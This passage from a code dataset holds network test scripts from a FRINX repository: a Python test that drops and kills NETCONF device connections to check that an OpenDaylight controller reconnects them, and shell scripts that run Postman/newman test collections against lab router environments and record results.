default=None,\n help='Commma separated list of followers, for the ODL cluster test.')\n\n return parser.parse_args(argv)\n\n\ndef get_from_netconf(odl_ip=None):\n response = requests.get('http://%s:8181/restconf/operational/network-topology:network-topology/topology/topology-netconf?depth=3' % (odl_ip),\n auth=('admin', 'admin'), headers={'Content-Type': 'application/json'})\n return response.json()\n\n\ndef count_connected(odl_ip=None):\n response_json = get_from_netconf(odl_ip=odl_ip)\n connected_count = 0\n for node in response_json['topology'][0]['node']:\n if node['netconf-node-topology:connection-status'] == 'connected':\n connected_count += 1\n return connected_count\n\n\ndef count_connecting(odl_ip=None):\n response_json = get_from_netconf(odl_ip=odl_ip)\n connecting_count = 0\n for node in response_json['topology'][0]['node']:\n if node['netconf-node-topology:connection-status'] == 'connecting':\n connecting_count += 1\n return connecting_count\n\n\ndef add_iptables_rules(port_list=None):\n for port in port_list:\n add_iptables_rule = 'sudo /sbin/iptables -I INPUT -p tcp --dport %s -j DROP' % port\n p = subprocess.Popen(add_iptables_rule.split())\n p.wait()\n\n\ndef delete_iptables_rules(port_list=None):\n for port in port_list:\n delete_iptables_rule = 'sudo /sbin/iptables -D INPUT -p tcp --dport %s -j DROP' % port\n p = subprocess.Popen(delete_iptables_rule.split())\n p.wait()\n\n\ndef clean_log_file(log_file=None):\n # remove log file if exists\n if os.path.exists(log_file):\n os.remove(log_file)\n # create empty file\n open(log_file, 'a').close()\n\n\ndef print_and_log(log_file=None, error_msg=None):\n with open(log_file, \"a\") as logfile:\n print(error_msg)\n logfile.write('%s\\n' % error_msg)\n\n\ndef check_connecting_devices(odl_ip=None, port_list=None, log_file=None, _iter=None):\n\n response_json = get_from_netconf(odl_ip=odl_ip)\n connecting_list = []\n for node in response_json['topology'][0]['node']:\n if node['netconf-node-topology:connection-status'] == 'connecting':\n connecting_list.append(str(node['netconf-node-topology:port']))\n\n connecting_list.sort()\n if connecting_list == port_list:\n print('%s: Devices in connecting status as expected: [%s]' % (\n str(datetime.datetime.now()), ','.join(connecting_list)))\n else:\n error_msg = 'ERROR: iteration: %s connecting devices: [%s] expected to be equal to port_list: [%s]' % (\n _iter, ','.join(connecting_list), ','.join(port_list))\n print_and_log(log_file=log_file, error_msg=error_msg)\n\n\ndef print_args(_args):\n print('Running test with:')\n for arg in vars(_args):\n print('%s: %s' % (arg, getattr(_args, arg)))\n\n\ndef check_arguments_consistency(_args):\n # check arguments\n interfaces_list = psutil.net_if_addrs().keys()\n if (_args.interface not in interfaces_list):\n print(\"ERROR: specified interface: '%s' not in: ['%s']. Choose a different interface\" % (\n _args.interface, \"', '\".join(interfaces_list)))\n sys.exit(1)\n\n\ndef check_all_connected(odl_ip=None, _iter=None, port_number=None, when=None, log_file=None):\n # count connected devices\n connected_devices = count_connected(odl_ip=odl_ip)\n print('%s: Iteration: %s Connected devices %s: %s' % (str(datetime.datetime.now()), _iter, when, connected_devices))\n if connected_devices != port_number:\n error_msg = 'ERROR: Iteration: %s Connected devices %s: %s expected to be equal to: %s' % (\n _iter, when, connected_devices, port_number)\n print_and_log(log_file=log_file, error_msg=error_msg)\n\n\ndef random_choice_port(port_list=None):\n random_port = random.choice(port_list)\n port_list.remove(random_port)\n\n return (str(random_port), port_list)\n\n\ndef kill_connection(random_port=None, interface=None):\n # print('Killing port %s' % random_port)\n # add iptables rule to close port\n # print('Add iptables rule')\n add_iptables_rules(port_list=[random_port])\n\n # run tcpkill\n run_tcpkill = ['sudo', 'tcpkill', '-i', interface, 'port', random_port]\n # print('run tcpkill command: %s' % ' '.join(run_tcpkill))\n\n # this code is to kill mutliple ports at the same time\n # run_tcpkill = ['sudo', 'tcpkill', '-i', interface]\n # run_tcpkill.extend(['port', str(port_list[0])])\n # for port in port_list[1:]:\n # run_tcpkill.extend(['or', 'port', str(port)])\n pro = subprocess.Popen(run_tcpkill,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n tcpkill_pid = pro.pid\n\n print('Connection closed on port: %s' % random_port)\n\n return tcpkill_pid\n\n\ndef reestablishing_connection(random_port_list=None, tcpkill_pid_list=None):\n # print('Reestablishing connection on port %s' % random_port)\n # to kill tcpkill is necessary to get the child pid\n for tcpkill_pid in tcpkill_pid_list:\n child_pid = subprocess.check_output(['ps', '--ppid', str(tcpkill_pid), '-o', 'pid='])\n subprocess.Popen(['sudo', 'kill', '-9', str(int(child_pid))])\n\n # delete iptables rules for each port\n # print('Delete iptables rules')\n delete_iptables_rules(port_list=random_port_list)\n\n print(\"Reestablished connection on ports ['%s']\" % \"', '\".join(random_port_list))\n\n\ndef killing_phase(interface=None, first_port=None, port_number=None, delay=None):\n\n random_port_list = []\n tcpkill_pid_list = []\n port_list = range(first_port, first_port + port_number)\n\n for ki in range(port_number):\n print('#### Kill iter: %s' % ki)\n\n (random_port, port_list) = random_choice_port(port_list=port_list)\n random_port_list.append(random_port)\n tcpkill_pid = kill_connection(random_port=random_port, interface=interface)\n tcpkill_pid_list.append(tcpkill_pid)\n\n print('Wait: %s sec' % delay)\n time.sleep(delay)\n # reestablishing_connection(random_port=random_port, tcpkill_pid=tcpkill_pid)\n\n reestablishing_connection(random_port_list=random_port_list, tcpkill_pid_list=tcpkill_pid_list)\n\n\ndef connecting_monitor(stop, odl_ip):\n while True:\n time.sleep(30)\n connecting_devices_during = count_connecting(odl_ip=odl_ip)\n print('################## MONITOR: %s Connecting devices: %s' % (\n str(datetime.datetime.now()), connecting_devices_during))\n\n if stop():\n break\n\n\ndef main(args):\n\n print_args(args)\n check_arguments_consistency(args)\n clean_log_file(log_file=args.log_file)\n\n odl_ip = args.odl_ip\n first_port = args.first_port\n port_number = args.port_number\n interface = args.interface\n log_file = args.log_file\n iterations = args.iterations\n delay = args.delay\n followers = args.followers\n\n _iter = 1\n while _iter <= iterations:\n print('###### Test iteration: %s' % _iter)\n\n slp = random.randint(1, 101)\n print('Wait: %s sec' % slp)\n time.sleep(slp)\n\n # check all connected before\n check_all_connected(odl_ip=odl_ip, _iter=_iter, port_number=port_number, when='before', log_file=log_file)\n\n try:\n stop_thread = False\n monitor = threading.Thread(target=connecting_monitor, args=(lambda: stop_thread, odl_ip))\n monitor.start()\n\n killing_phase(interface=interface, first_port=first_port, port_number=port_number, delay=delay)\n\n except Exception:\n logging.exception('')\n stop_thread = True\n monitor.join()\n print('Monitor killed because an exception has been raised in the main process')\n sys.exit(1)\n\n stop_thread = True\n monitor.join()\n print('Monitor killed')\n\n if followers is not None:\n followers_list = followers.split(',')\n odl_ip = random.choice(followers_list)\n print('Check connected devices on follower: %s' % odl_ip)\n\n # check all connected after\n # iterate the check because it may take time, in specific if the number of devices increase\n all_connected = False\n _i = 0\n slp = 60\n while _i <= 15 * slp:\n # sleep a bit\n time.sleep(slp)\n\n # count connected devices after\n connected_devices_after = count_connected(odl_ip=odl_ip)\n print('%s: Iteration: %s After: %s sec ODL node: %s Connected devices: %s' % (\n str(datetime.datetime.now()), _iter, _i, odl_ip, connected_devices_after))\n if connected_devices_after == port_number:\n all_connected = True\n break\n _i = _i + slp\n\n if not all_connected:\n error_msg = 'ERROR: Iteration: %s After: %s sec ODL node: %s Connected devices: %s expected to be equal to: %s' % (\n _iter, _i, odl_ip, connected_devices_after, port_number)\n print_and_log(log_file=log_file, error_msg=error_msg)\n\n _iter += 1\n\n\nif __name__ == \"__main__\":\n args = get_args()\n main(args)\n" }, { "alpha_fraction": 0.6433846354484558, "alphanum_fraction": 0.652923047542572, "avg_line_length": 35.51685333251953, "blob_id": "811f59d5405b408bd3f309a074eb4c47a114219b", "content_id": "d0be57090f452195e726254fd5554d7fb5e43f45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3250, "license_type": "no_license", "max_line_length": 212, "num_lines": 89, "path": "/uniconfig_framework/test_unative.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# This script allows to run unative collections\n# The difference respect to the test_script.sh is that in this case\n# it is not necessary to execute the mount and unmount tests since\n# for unative is simple and it is already performend inside the\n# testsetup of every collection\n#\n# Steps to run the script\n# 1) create an input file in json format where keys are postman collection files\n# and values are tests to be run\n# {\n# \"pc_unified_mpls.json\": [\"Mpls-te CRUD\",\"Mpls-tunnel CRUD\"],\n# \"another file\": [\"another\",\"list of\",\"tests\"]\n# }\n# 2) to run it do:\n# ./test_unative.sh env_file json_input_file\n\n\n#set -exu\nset +x\n\nenv_file=$1\ntests_input_file=$2\n\nif [ \"$env_file\" == \"xrv6.1.2_env.json\" ] ; then\n dev_pref=\"XR6\"\nelif [ \"$env_file\" == \"xrv5.3.4_env.json\" ] ; then\n dev_pref=\"XR5\"\n# For purpose: template version drop testing\nelif [ \"$env_file\" == \"vnf20_env.json\" ] || [ \"$env_file\" == \"vnf16_env.json\" ] ; then\n dev_pref=\"VNF\"\nelse\n echo \"Unsupported env file: $env_file\"\n exit 1\nfi\ndevice=$env_file\n\nfile=list.txt\nif [ -f $file ] ; then\n rm $file\nfi\n\necho \"Going to test with env_file $env_file. Assigned prefix is: \\\"$dev_pref\\\".\"\nmkdir -p junit_results\n\ntxt_collections=\"`cat $tests_input_file | jq -c keys[]`\"\necho $txt_collections\ndeclare -a \"collections=($txt_collections)\"\n\ni=0\nfor collection in \"${collections[@]}\"\ndo\n txt_folders=`cat $tests_input_file | jq -c .\"\\\"$collection\\\"\"[]`\n declare -a \"folders=($txt_folders)\"\n\n for folder in \"${folders[@]}\"\n do\n ((i++))\n rfolder=\"$dev_pref $folder READERS\"\n test_id=\"collection: $collection environment: $device device: $dev_pref folder: $rfolder\"\n echo \"Performing: $test_id\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$rfolder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$rfolder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$test_id FAILED\" >> $file; fi\n\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n\n sfolder=\"$dev_pref ${coll_arr[@]:0:${ll}} Setup\"\n test_id=\"collection: $collection environment: $device device: $dev_pref folder: $sfolder\"\n echo \"Performing: $test_id\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$sfolder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$sfolder$i.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$test_id FAILED\" >> $file; fi\n\n test_id=\"collection: $collection environment: $device device: $dev_pref folder: $folder\"\n echo \"Performing: $test_id\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$folder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$folder$i.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$test_id FAILED\" >> $file; fi\n\n tfolder=\"$dev_pref ${coll_arr[@]:0:${ll}} Teardown\"\n test_id=\"collection: $collection environment: $device device: $dev_pref folder: $tfolder\"\n echo \"Performing: $test_id\"\n unbuffer newman run $collection -e $device -n 1 --folder \"$tfolder\" --reporters cli,junit --reporter-junit-export \"./junit_results/$tfolder$i.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$test_id FAILED\" >> $file; fi\n sleep 2\n done\ndone\n\n\nif [ -f $file ] ; then\n cat $file\n rm $file\nfi\n" }, { "alpha_fraction": 0.5354406237602234, "alphanum_fraction": 0.5469348430633545, "avg_line_length": 54.92856979370117, "blob_id": "0d7206b49c0af12fc9bf571769ca35f766a0e0a7", "content_id": "e9577afad40d6b89934a52b51317eb681203dab0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 6264, "license_type": "no_license", "max_line_length": 382, "num_lines": 112, "path": "/uniconfig_framework/test_jenkins_uniconfig.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\nset +x\n\ncollection=postman_collection_uniconfig.json\nfile=list.txt\n\nif [ -f $file ] ; then\n rm $file\nfi\n\necho \"XXXXXXX Please check that your syntax is ./a env.file '\\\"folder 1\\\" \\\"folder 2\\\" . . . \\\"foledr n\\\"'\"\ndeclare -a \"inp_folders=($2)\"\n\nXR_folders=(\"${inp_folders[@]}\")\nXR5_folders=(\"${inp_folders[@]}\")\njunos_folders=(\"${inp_folders[@]}\")\n\nchosen_devices=(\"$1\")\n\nfor device in \"${chosen_devices[@]}\"\ndo\n echo Collection running with $device\n if [ \"$device\" == \"xrv5_env.json\" ]\n then\n folder=\"XR5 Mount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n for folder in \"${XR5_folders[@]}\"\n do\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"XR5 ${coll_arr[@]:0:${ll}} Setup\"\n #echo \"$sfolder\"\n newman run $collection -e $device -n 1 --folder \"$sfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR5) $sfolder FAILED\" >> $file; fi\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR5) $folder FAILED\" >> $file; fi\n \n tfolder=\"XR5 ${coll_arr[@]:0:${ll}} Teardown\"\n #echo \"$tfolder\"\n newman run $collection -e $device -n 1 --folder \"$tfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR5) $tfolder FAILED\" >> $file; fi\n sleep 2\n done\n folder=\"XR5 Unmount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n fi\n\n if [ \"$device\" == \"asr_env.json\" ]\n then\n folder=\"XR6 Mount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n for folder in \"${XR5_folders[@]}\"\n do\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"XR6 ${coll_arr[@]:0:${ll}} Setup\"\n #echo \"$sfolder\"\n newman run $collection -e $device -n 1 --folder \"$sfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR6) $sfolder FAILED\" >> $file; fi\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR6) $folder FAILED\" >> $file; fi\n \n tfolder=\"XR6 ${coll_arr[@]:0:${ll}} Teardown\"\n #echo \"$tfolder\"\n newman run $collection -e $device -n 1 --folder \"$tfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (XR6) $tfolder FAILED\" >> $file; fi\n sleep 2\n done\n folder=\"XR6 Unmount\"\n #echo \"$folder\"\n newman run $collection --bail -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n fi\n\n\n if [ \"$device\" == \"junos173virt_env.json\" ]\n then\n folder=\"Junos Mount\"\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n for folder in \"${JUNOS_folders[@]}\"\n do\n coll_len=`echo $folder | wc -w`\n coll_arr=($folder)\n ll=`if [ $coll_len -gt 2 ]; then le=$(($coll_len-1)); echo $le; else echo $coll_len;fi`\n sfolder=\"Junos ${coll_arr[@]:0:${ll}} Setup\"\n #echo \"$sfolder\"\n newman run $collection -e $device -n 1 --folder \"$sfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (Junos) $sfolder FAILED\" >> $file; fi\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (Junos) $folder FAILED\" >> $file; fi\n\n tfolder=\"Junos ${coll_arr[@]:0:${ll}} Teardown\"\n #echo \"$tfolder\"\n newman run $collection -e $device -n 1 --folder \"$tfolder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing (Junos) $tfolder FAILED\" >> $file; fi\n sleep 2\n done\n folder=\"Junos Unmount\"\n #echo \"$folder\"\n newman run $collection -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing $folder FAILED\" >> $file; fi\n fi\n\n\ndone\n\nif [ -f $file ] ; then\n cat $file\n rm $file\nfi\n\n## For html and xml ouputs use this: --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results.html\"\n## For example:\n## newman run $collection --reporters html,cli,junit --reporter-junit-export \"/tmp/Environment_${device}_${folder}_results.xml\" --reporter-html-export \"/tmp/Environment_${device}_${folder}_results.html\" --bail -e $device -n 1 --folder \"Classic $folder\"; if [ \"$?\" != \"0\" ]; then echo \"Collection $collection with environment $device testing Classic $folder FAILED\" >> $file; fi\n" }, { "alpha_fraction": 0.6151711344718933, "alphanum_fraction": 0.631822407245636, "avg_line_length": 37.33333206176758, "blob_id": "24b8b17cdd8fd588d46e788a3fa65ee1a5978aac", "content_id": "7ccd5eb68f599cfdf750a74d8a5c9aa8dbd81a3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 5405, "license_type": "no_license", "max_line_length": 318, "num_lines": 141, "path": "/uniconfig_framework/test_unative_scale_utils.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n# this script contains the functions used by the test_unative_scale.sh test.\n\nset +x\n\n# function definitions\n\nrm_file () {\n if [ -f $1 ] ; then\n\trm $1\n fi\n}\n\ncat_rm_file () {\n if [ -f $1 ] ; then\n\tcat $1\n\trm $1\n fi\n}\n\n\n# Setup functions\nrun_setup_loop () {\n local _collection=$1\n local _folder=$2\n local _odl_ip=$3\n local _device_number=$4\n local _nodes_file=$5\n local _file=$6\n\n local _test_id=\"collection: $_collection folder: $_folder\"\n echo $_test_id\n unbuffer newman run \"$_collection\" --bail folder -n \"$_device_number\" --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --iteration-data \"$_nodes_file\" --reporters cli,junit --reporter-junit-export \"./junit_results/${_folder}_${_node_id}.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n\n}\n\n\nrun_setup_folder_all_nodes () {\n local _collection=$1\n local _folder=$2\n local _odl_ip=$3\n local _device_number=$4\n local _file=$5\n\n local _test_id=\"collection: $_collection folder: $_folder\"\n echo $_test_id\n unbuffer newman run \"$_collection\" --bail folder -n 1 --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --env-var \"data=$body\" --env-var \"device_number=$_device_number\" --reporters cli,junit --reporter-junit-export \"./junit_results/$_folder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n}\n\n\n# Iteration functions\nrun_iter_loop () {\n local _iter=$1\n local _collection=$2\n local _folder=$3\n local _odl_ip=$4\n local _device_number=$5\n local _nodes_file=$6\n local _file=$7\n\n local _test_id=\"iteration: $_iter collection: $_collection folder: $_folder\"\n echo $_test_id\n unbuffer newman run \"$_collection\" --bail folder -n \"$_device_number\" --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --iteration-data \"$_nodes_file\" --reporters cli,junit --reporter-junit-export \"./junit_results/$_iter/${_folder}_${_node_id}.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n\n}\n\nrun_iter_folder_all_nodes () {\n local _iter=$1\n local _collection=$2\n local _folder=$3\n local _odl_ip=$4\n local _device_number=$5\n local _file=$6\n\n local _test_id=\"iteration: $_iter collection: $_collection folder: $_folder\"\n echo $_test_id\n unbuffer newman run \"$_collection\" --bail folder -n 1 --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --env-var \"data=$body\" --env-var \"device_number=$_device_number\" --reporters cli,junit --reporter-junit-export \"./junit_results/$_iter/$_folder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n}\n\nrun_iter_calculate_diff () {\n local _iter=$1\n local _collection=$2\n local _folder=$3\n local _odl_ip=$4\n local _device_number=$5\n local _file=$6\n\n local _test_id=\"iteration: $_iter collection: $_collection folder: $_folder device_number: $_device_number\"\n echo $_test_id\n unbuffer newman run \"$_collection\" --bail folder -n 1 --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --env-var \"data=$body\" --env-var \"device_number=$_device_number\" --reporters cli,junit --reporter-junit-export \"./junit_results/$iter/$_folder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n\n}\n\n\n# Calculate duration functions\n\nget_commit_duration () {\n local _iter=$1\n local _commit_folder=$2\n local _device_number=$3\n local _output_file=$4\n\n commit_duration=`cat \"./junit_results/$_iter/$_commit_folder.xml\" | grep \"create / create commit all devices / commit all devices\" | grep -E -o 'time=\"[0-9]+.[0-9]+\"' | grep -E -o '[0-9]+.[0-9]+'`\n echo \"Iteration: $_iter --- Commit duration for $_device_number devices: $commit_duration sec\" >> $_output_file;\n}\n\nget_average_commit_duration () {\n # this function allows to get the commit duration from the xml output of the single device commit\n # then add to a counter and divide for the number of devices in order to get\n # the average commit duration\n local _iter=$1\n local _commit_folder=$2\n local _first_device=$3\n local _device_number=$4\n local _device_prefix=$5\n local _output_file=$6\n local commit_duration_counter=0.0\n\n for (( dev=$_first_device; dev<=$_first_device+$_device_number; dev++ ))\n do\n\tnode_id=$_device_prefix$dev\n\n\tcommit_duration=`cat \"./junit_results/$_iter/${_commit_folder}_${node_id}.xml\" | grep \"create / create commit single device / commit single device\" | grep -E -o 'time=\"[0-9]+.[0-9]+\"' | grep -E -o '[0-9]+.[0-9]+'`\n\tcommit_duration_counter=`echo \"$commit_duration_counter $commit_duration\" | awk '{printf \"%.3f\", $1 + $2}'`\n done\n\n _device_number=`echo \"$_device_number + 1\" | bc`\n average_commit_duration=`echo \"$commit_duration_counter $_device_number\" | awk '{printf \"%.3f\", $1 / $2}'`\n echo \"Iteration: $_iter --- Average commit duration for $_device_number devices: $average_commit_duration sec\" >> $_output_file;\n}\n\nget_calculate_diff_duration () {\n local _iter=$1\n local _calculate_diff_folder=$2\n local _device_number=$3\n local _output_file=$4\n\n calculate_diff_duration=`cat \"./junit_results/$_iter/$_calculate_diff_folder.xml\" | grep \"update / update calculate diff all testtool devices / update calculate diff all testtool devices\" | grep -E -o 'time=\"[0-9]+.[0-9]+\"' | grep -E -o '[0-9]+.[0-9]+'`\n echo \"Iteration: $_iter --- Calculate diff duration for $_device_number devices: $calculate_diff_duration sec\" >> $_output_file;\n\n}\n" }, { "alpha_fraction": 0.6886535286903381, "alphanum_fraction": 0.6940998435020447, "avg_line_length": 27.008474349975586, "blob_id": "4a2a8d6d851afab39d93394cc13dfcebd1f15722", "content_id": "0d01aa0ada7e8fec110c19abe125d4d948c3cbbe", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3305, "license_type": "no_license", "max_line_length": 94, "num_lines": 118, "path": "/uniconfig_framework/test_scale.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# Usage:\n# ./test_scale.sh NODES_TO_CONFIGURE CONTROLLER_IP IOU1 IOU2 ...\n#\n# When NODES_TO_CONFIGURE=0 the configuration process goes until the first\n# problems with setup connections\n\nset -x\n\nenv_template_file=\"mocked_scale_env_tmpl.json\"\nrouter_mount_folder=\"IOU Mount\"\nrouter_unmount_folder=\"IOU Unmount\"\nrouter_ready_folder=\"IOU Ready\"\ncollection_file=\"postman_collection_scale.json\"\n\nmax_devices_configured=$1\nodl_ip_address=$2\nmocked_device_ip=$3\nmocked_device_ports=(${@:4})\nnode_prefix=\"tested_node_\"\nnr_ious=${#mocked_device_ports[@]}\n\necho \"Input parameters:\"\nif [ $max_devices_configured -eq 0 ]; then\n echo \"Nodes to be configured: max possible\"\nelse\n echo \"Nodes to be configured: $max_devices_configured\"\nfi\necho \"Number of IOUs: $nr_ious\"\necho \"Mocked IOU device ip: $mocked_device_ip\"\necho \"Mocked IOU device ports: ${mocked_device_ports[@]}\"\necho \"Controller IP: $odl_ip_address\"\n\nsufix_msg_part=\"(out of $max_devices_configured)\"\nif [ $max_devices_configured -eq 0 ]; then\n sufix_msg_part=\"(continue infinitelly)\"\nfi\n\n\n\n# Configuration part\ni=0\nmounted_peer_devices=0\n\n# Check if translation units are avaiable\n# copy env template file and fill with correct values\nenv_file_name=mocked_scale_env_$node_name.json\ncp $env_template_file $env_file_name\nsed -i \"s/ODL_IP/$odl_ip_address/g\" $env_file_name\n\nnewman run $collection_file --bail -e $env_file_name -n 1 --folder \"$router_ready_folder\"\n\n\nfor (( ; ; ))\ndo\n\n iou_idx_used=$(( $i % $nr_ious ))\n router_ip=$mocked_device_ip\n router_port=${mocked_device_ports[${iou_idx_used}]}\n ((i++))\n node_name=$node_prefix$i\n echo \"Configuring router $router_ip as $node_name $sufix_msg_part\"\n \n # copy env template file and fill with correct values\n env_file_name=mocked_scale_env_$node_name.json\n cp $env_template_file $env_file_name\n sed -i \"s/ODL_IP/$odl_ip_address/g\" $env_file_name\n sed -i \"s/NODE_NAME/$node_name/g\" $env_file_name\n sed -i \"s/NODE_IP/$router_ip/g\" $env_file_name\n sed -i \"s/TOPOLOGY_PORT/$router_port/g\" $env_file_name\n\n newman run $collection_file --bail -e $env_file_name -n 1 --folder \"$router_mount_folder\"\n nrc=$?\n echo \"Newman return code $nrc\"\n\n rm $env_file_name\n\n # let's break if mounting a node failed \n if [ $nrc -ne 0 ]; then\n exit 1\n fi\n mounted_peer_devices=$i\n\n # do not break the loop if unlimited nodes to be configured \n if [ $max_devices_configured -eq 0 ]; then\n continue\n fi\n\n # check for nodes configured\n if [ $i -ge $max_devices_configured ]; then\n break\n fi\ndone\n\nconfigured_peer_devices=$i\necho \"Mounted devices: $mounted_peer_devices\"\necho \"Mounted_devices\" > ./mounted_devices.csv\necho \"$mounted_peer_devices\" >> ./mounted_devices.csv\n\n# Deconfiguration part missing for now\nfor (( i=1; i <= $configured_peer_devices; i++ ))\ndo\n node_name=$node_prefix$i\n echo \"Deconfiguring router $node_name\"\n\n # copy env template file and fill with correct values\n env_file_name=mocked_scale_env_$node_name.json\n cp $env_template_file $env_file_name\n sed -i \"s/ODL_IP/$odl_ip_address/g\" $env_file_name\n sed -i \"s/NODE_NAME/$node_name/g\" $env_file_name\n\n newman run $collection_file --bail -e $env_file_name -n 1 --folder \"$router_unmount_folder\"\n echo \"Deconfigure newman rc: $?\"\n\n rm $env_file_name\n\ndone\n" }, { "alpha_fraction": 0.5605536103248596, "alphanum_fraction": 0.5710391402244568, "avg_line_length": 61.7434196472168, "blob_id": "f6d43a6bb45bce04f09e32a77ebee52b7f08d077", "content_id": "6a31b221ba8a17636404d6a09aa4bd83dcef8c13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 9537, "license_type": "no_license", "max_line_length": 704, "num_lines": 152, "path": "/uniconfig_framework/test_uniconfig.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\nset +x\n\ncollection=postman_collection_uniconfig.json\nfile=list.txt\n\nif [ -f $file ] ; then\n rm $file\nfi\n\n### Test for IOS XR/XE router\n#XE_devices=(\"xe_env.json\")\nXE_devices=()\n#XE_folders=(\"BGP-XeExt CRUD\")\nXE_folders=()\n#XR_devices=(\"xrv5_env.json\" \"junos173virt_env.json\")\nXR_devices=()\n#XR5_folders=(\"OSPF CRUD\" \"BGP CRUD\" \"LACP CRUD\" \"MPLS-TUNNEL-FULL CRUD\" \"MPLS-TUNNEL CRUD Config\" \"MPLS-TUNNEL CRUD Destination\" \"MPLS-TE CRUD\" \"LAG CRUD Config\" \"LAG CRUD Subinterface\" \"LAG CRUD IPv6\" \"LAG CRUD Damping\" \"LAG CRUD Statistics\" \"LAG CRUD AggegationNoBfd\" \"LAG-FULL CRUD\" \"IFC-ACL CRUD Full\" \"IFC-ACL CRUD Parts\" \"IFC-ACL CRUD Acl-sets\" \"IFC-ACL CRUD Sync-Set\" \"RSVP CRUD\" \"PF-IFC CRUD CiscoExt\" \"SNMP Gig\" \"SNMP Lag\" \"SNMP Non\" \"IFC CRUD Config\" \"IFC CRUD HoldTime\" \"IFC CRUD Subinterface-IPv4\" \"IFC CRUD Subinterface-IPv6\" \"IFC CRUD Damping\" \"IFC CRUD Ethernet\" \"IFC CRUD Statistics\" \"IFC CRUD Rpf\" \"IFC-FULL CRUD\" \"SYSLOG CRUD\" \"RP CRUD\" \"SNAPSHOT\" \"QOS CRUD basic\" \"QOS CRUD sync-set\")\nXR5_folders=()\n#JUNOS_folders=(\"LACP CRUD\" \"MPLS-TUNNEL-FULL CRUD\" \"MPLS-TE CRUD\" \"LAG CRUD Config\" \"LAG CRUD Subinterface\" \"LAG CRUD AggegationBfdLinkSpeed\" \"IFC-ACL CRUD Full\" \"IFC-ACL CRUD Parts\" \"RSVP CRUD\" \"PF-IFC CRUD JunosExt\" \"SNMP Gig\" \"IFC-FULL CRUD\" \"IFC 